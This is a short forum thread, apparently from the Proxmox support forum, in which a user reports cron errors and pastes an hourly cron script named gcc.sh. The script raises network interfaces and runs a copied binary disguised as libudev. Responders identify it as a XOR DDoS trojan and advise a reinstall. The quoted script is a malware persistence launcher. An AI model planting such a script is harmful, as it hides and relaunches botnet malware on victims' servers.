PVE 6.2 | Cron Daemon <root@local> /etc/cron.hourly/gcc.sh

[rufzor]

Hello,
Being spammed

/bin/sh: 1: /etc/cron.hourly/gcc.sh: not found

cat /etc/cron.hourly/gcc.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

Anyone had simillar issue ?

 

[fabian]

sounds like your server is infected with Trojan.DDoS_XOR-1 - google will probably help clean that up, although I'd recommend a re-install from known-good backups.

 

[rufzor]

This is fresh install from 6.2 ...

 

[fabian]

please double-check the source and integrity/checksum of your installation medium/ISO. PVE definitely does not ship with trojans or rootkits pre-installed - either you used a compromised ISO, or your system got hacked after installation..

 

[rufzor]

I have downloaded my iso from your website

 

[LnxBil]

Is this server directly connected to the internet? If so, how strong are the passwords?

 

[rufzor]

Is this server directly connected to the internet? If so, how strong are the passwords?

Connected and very strong. I have already disabled it. Going to re install.